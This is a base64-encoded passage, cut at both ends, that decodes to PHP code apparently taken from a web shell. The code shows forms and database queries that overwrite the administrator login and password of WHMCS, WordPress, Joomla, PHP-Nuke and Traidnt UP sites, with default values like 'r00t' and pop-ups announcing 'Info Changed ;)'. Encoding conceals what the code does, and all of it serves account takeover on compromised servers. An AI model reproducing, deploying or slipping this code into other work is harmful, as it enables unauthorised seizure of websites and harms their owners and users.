aG0gc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHdobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9dGV4dCBuYW1lPXVyd2htIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9cGFzc3dvcmQgbmFtZT1wc3dobSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmh3aG0gPSAkX1BPU1RbJ2RiaHdobSddOw0KJGRibndobSAgPSAkX1BPU1RbJ2RibndobSddOw0KJGRidXdobSA9ICRfUE9TVFsnZGJ1d2htJ107DQokZGJwd2htICA9ICRfUE9TVFsnZGJwd2htJ107DQogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJod2htLCRkYnV3aG0sJGRicHdobSk7DQogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm53aG0pOw0KDQokdXJ3aG09c3RyX3JlcGxhY2UoIiciLCInIiwkdXJ3aG0pOw0KJHNldF91cndobSA9ICRfUE9TVFsndXJ3aG0nXTsNCg0KJHBzd2htPXN0cl9yZXBsYWNlKCInIiwiJyIsJHBzd2htKTsNCiRwYXNzX3dobSA9ICRfUE9TVFsncHN3aG0nXTsNCiRzZXRfcHN3aG0gPSBtZDUoJHBhc3Nfd2htKTsNCg0KJHIwMHQ5ID0gIlVQREFURSB0YmxhZG1pbnMgU0VUIHVzZXJuYW1lID0nIi4kc2V0X3Vyd2htLiInIFdIRVJFIGlkID0nMSciOw0KJHIwMHQxMCA9ICJVUERBVEUgdGJsYWRtaW5zIFNFVCBwYXNzd29yZCA9JyIuJHNldF9wc3dobS4iJyBXSEVSRSBpZCA9JzEnIjsNCg0KJG9rNT1AbXlzcWxfcXVlcnkoJHIwMHQ5KTsNCiRvazU9QG15c3FsX3F1ZXJ5KCRyMDB0MTApOw0KDQppZigkb2s1KXsNCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1dITUNTIEluZm8gQ2hhbmdlZCA7KScpOzwvc2NyaXB0PiI7DQp9DQp9DQoNCi8vV29yZFByZXNzDQppZiAoaXNzZXQoJF9QT1NUWyd3b3JkcHJlc3MnXSkpDQp7DQplY2hvICI8Y2VudGVyPjx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+DQo8dHI+PHRkPg0KPGNlbnRlcj48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBXb3JkUHJlc3MgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS93cC1hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vd3AtY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4NCiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJod3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT13b3JkcHJlc3MgdHlwZT10ZXh0IG5hbWU9ZGJud3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXdwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnB3cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9dGV4dCBuYW1lPXVyd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT1wYXNzd29yZCBuYW1lPXBzd3Agc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXdwXyB0eXBlPXRleHQgbmFtZT1wcndwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaHdwID0gJF9QT1NUWydkYmh3cCddOw0KJGRibndwICA9ICRfUE9TVFsnZGJud3AnXTsNCiRkYnV3cCA9ICRfUE9TVFsnZGJ1d3AnXTsNCiRkYnB3cCAgPSAkX1BPU1RbJ2RicHdwJ107DQogICAgICAgICBAbXlzcWxfY29ubmVjdCgkZGJod3AsJGRidXdwLCRkYnB3cCk7DQogICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRkYm53cCk7DQoNCiR1cndwPXN0cl9yZXBsYWNlKCInIiwiJyIsJHVyd3ApOw0KJHNldF91cndwID0gJF9QT1NUWyd1cndwJ107DQoNCiRwc3dwPXN0cl9yZXBsYWNlKCInIiwiJyIsJHBzd3ApOw0KJHBhc3Nfd3AgPSAkX1BPU1RbJ3Bzd3AnXTsNCiRzZXRfcHN3cCA9IG1kNSgkcGFzc193cCk7DQoNCiR3cF9wcmVmaXggPSAkX1BPU1RbJ3Byd3AnXTsNCg0KJHRhYmxlX25hbWU0ID0gJHdwX3ByZWZpeC4idXNlcnMiIDsNCg0KJHIwMHQxMSA9ICJVUERBVEUgJHRhYmxlX25hbWU0IFNFVCB1c2VyX2xvZ2luID0nIi4kc2V0X3Vyd3AuIicgV0hFUkUgSUQgPScxJyI7DQokcjAwdDEyID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfcGFzcyA9JyIuJHNldF9wc3dwLiInIFdIRVJFIElEID0nMSciOw0KDQokb2s2PUBteXNxbF9xdWVyeSgkcjAwdDExKTsNCiRvazY9QG15c3FsX3F1ZXJ5KCRyMDB0MTIpOw0KDQppZigkb2s2KXsNCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1dvcmRQcmVzcyBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL0pvb21sYQ0KaWYgKGlzc2V0KCRfUE9TVFsnam9vbWxhJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgSm9vbWxhIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW5pc3RyYXRvcjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaGpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWpvb21sYSB0eXBlPXRleHQgbmFtZT1kYm5qb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidWpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT10ZXh0IG5hbWU9dXJqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXIwMHQgdHlwZT1wYXNzd29yZCBuYW1lPXBzam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1qb3NfIHR5cGU9dGV4dCBuYW1lPXByam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaGpvcyA9ICRfUE9TVFsnZGJoam9zJ107DQokZGJuam9zICA9ICRfUE9TVFsnZGJuam9zJ107DQokZGJ1am9zID0gJF9QT1NUWydkYnVqb3MnXTsNCiRkYnBqb3MgID0gJF9QT1NUWydkYnBqb3MnXTsNCiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhqb3MsJGRidWpvcywkZGJwam9zKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibmpvcyk7DQoNCiR1cmpvcz1zdHJfcmVwbGFjZSgiJyIsIiciLCR1cmpvcyk7DQokc2V0X3Vyam9zID0gJF9QT1NUWyd1cmpvcyddOw0KDQokcHNqb3M9c3RyX3JlcGxhY2UoIiciLCInIiwkcHNqb3MpOw0KJHBhc3Nfam9zID0gJF9QT1NUWydwc2pvcyddOw0KJHNldF9wc2pvcyA9IG1kNSgkcGFzc19qb3MpOw0KDQokam9zX3ByZWZpeCA9ICRfUE9TVFsncHJqb3MnXTsNCg0KJHRhYmxlX25hbWU1ID0gJGpvc19wcmVmaXguInVzZXJzIiA7DQoNCiRyMDB0MTMgPSAiVVBEQVRFICR0YWJsZV9uYW1lNSBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJqb3MuIicgV0hFUkUgaWQgPSc2MiciOw0KJHIwMHQxNCA9ICJVUERBVEUgJHRhYmxlX25hbWU1IFNFVCBwYXNzd29yZCA9JyIuJHNldF9wc2pvcy4iJyBXSEVSRSBpZCA9JzYyJyI7DQoNCiRyMDB0MTMgPSAiVVBEQVRFICR0YWJsZV9uYW1lNSBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJqb3MuIicgV0hFUkUgaWQgPSc2MyciOw0KJHIwMHQxNCA9ICJVUERBVEUgJHRhYmxlX25hbWU1IFNFVCBwYXNzd29yZCA9JyIuJHNldF9wc2pvcy4iJyBXSEVSRSBpZCA9JzYzJyI7DQoNCiRvazc9QG15c3FsX3F1ZXJ5KCRyMDB0MTMpOw0KJG9rNz1AbXlzcWxfcXVlcnkoJHIwMHQxNCk7DQoNCmlmKCRvazcpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnSm9vbWxhIEluZm8gQ2hhbmdlZCA7KScpOzwvc2NyaXB0PiI7DQp9DQp9DQoNCi8vUEhQLU5VS0UNCmlmIChpc3NldCgkX1BPU1RbJ3BocC1udWtlJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgUEhQLU5VS0UgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbi5waHA8YnI+UGF0aCBDb25maWcgOiBbcGF0Y2hdL2NvbmZpZy5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaHBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXBocG51a2UgdHlwZT10ZXh0IG5hbWU9ZGJucG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiB1c2VyPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9cm9vdCB0eXBlPXRleHQgbmFtZT1kYnVwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9dGV4dCBuYW1lPXVycG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yMDB0IHR5cGU9cGFzc3dvcmQgbmFtZT1wc3BuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9bnVrZV8gdHlwZT10ZXh0IG5hbWU9cHJwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2V7DQokZGJocG5rID0gJF9QT1NUWydkYmhwbmsnXTsNCiRkYm5wbmsgID0gJF9QT1NUWydkYm5wbmsnXTsNCiRkYnVwbmsgPSAkX1BPU1RbJ2RidXBuayddOw0KJGRicHBuayAgPSAkX1BPU1RbJ2RicHBuayddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHBuaywkZGJ1cG5rLCRkYnBwbmspOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJucG5rKTsNCg0KJHVycG5rPXN0cl9yZXBsYWNlKCInIiwiJyIsJHVycG5rKTsNCiRzZXRfdXJwbmsgPSAkX1BPU1RbJ3VycG5rJ107DQoNCiRwc3Buaz1zdHJfcmVwbGFjZSgiJyIsIiciLCRwc3Buayk7DQokcGFzc19wbmsgPSAkX1BPU1RbJ3BzcG5rJ107DQokc2V0X3BzcG5rID0gbWQ1KCRwYXNzX3Buayk7DQoNCiRwbmtfcHJlZml4ID0gJF9QT1NUWydwcnBuayddOw0KDQokdGFibGVfbmFtZTYgPSAkcG5rX3ByZWZpeC4idXNlcnMiIDsNCiR0YWJsZV9uYW1lNyA9ICRwbmtfcHJlZml4LiJhdXRob3JzIiA7DQoNCiRyMDB0MTUgPSAiVVBEQVRFICR0YWJsZV9uYW1lNiBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJwbmsuIicgV0hFUkUgdXNlcl9pZCA9JzInIjsNCiRyMDB0MTYgPSAiVVBEQVRFICR0YWJsZV9uYW1lNiBTRVQgdXNlcl9wYXNzd29yZCA9JyIuJHNldF9wc3Buay4iJyBXSEVSRSB1c2VyX2lkID0nMiciOw0KDQokcjAwdDE3ID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIGFpZCA9JyIuJHNldF91cnBuay4iJyBXSEVSRSByYWRtaW5zdXBlciA9JzEnIjsNCiRyMDB0MTggPSAiVVBEQVRFICR0YWJsZV9uYW1lNyBTRVQgcHdkID0nIi4kc2V0X3BzcG5rLiInIFdIRVJFIHJhZG1pbnN1cGVyID0nMSciOw0KDQokb2s4PUBteXNxbF9xdWVyeSgkcjAwdDE1KTsNCiRvazg9QG15c3FsX3F1ZXJ5KCRyMDB0MTYpOw0KJG9rOD1AbXlzcWxfcXVlcnkoJHIwMHQxNyk7DQokb2s4PUBteXNxbF9xdWVyeSgkcjAwdDE4KTsNCg0KaWYoJG9rOCl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCdQSFAtTlVLRSBJbmZvIENoYW5nZWQgOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL1RyYWlkbnQgVVANCmlmIChpc3NldCgkX1BPU1RbJ3VwJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgVHJhaWRudCBVUCBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL3VwbG9hZGNwPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9pbmNsdWRlcy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXVwbG9hZCB0eXBlPXRleHQgbmFtZT1kYm51cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1dXAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ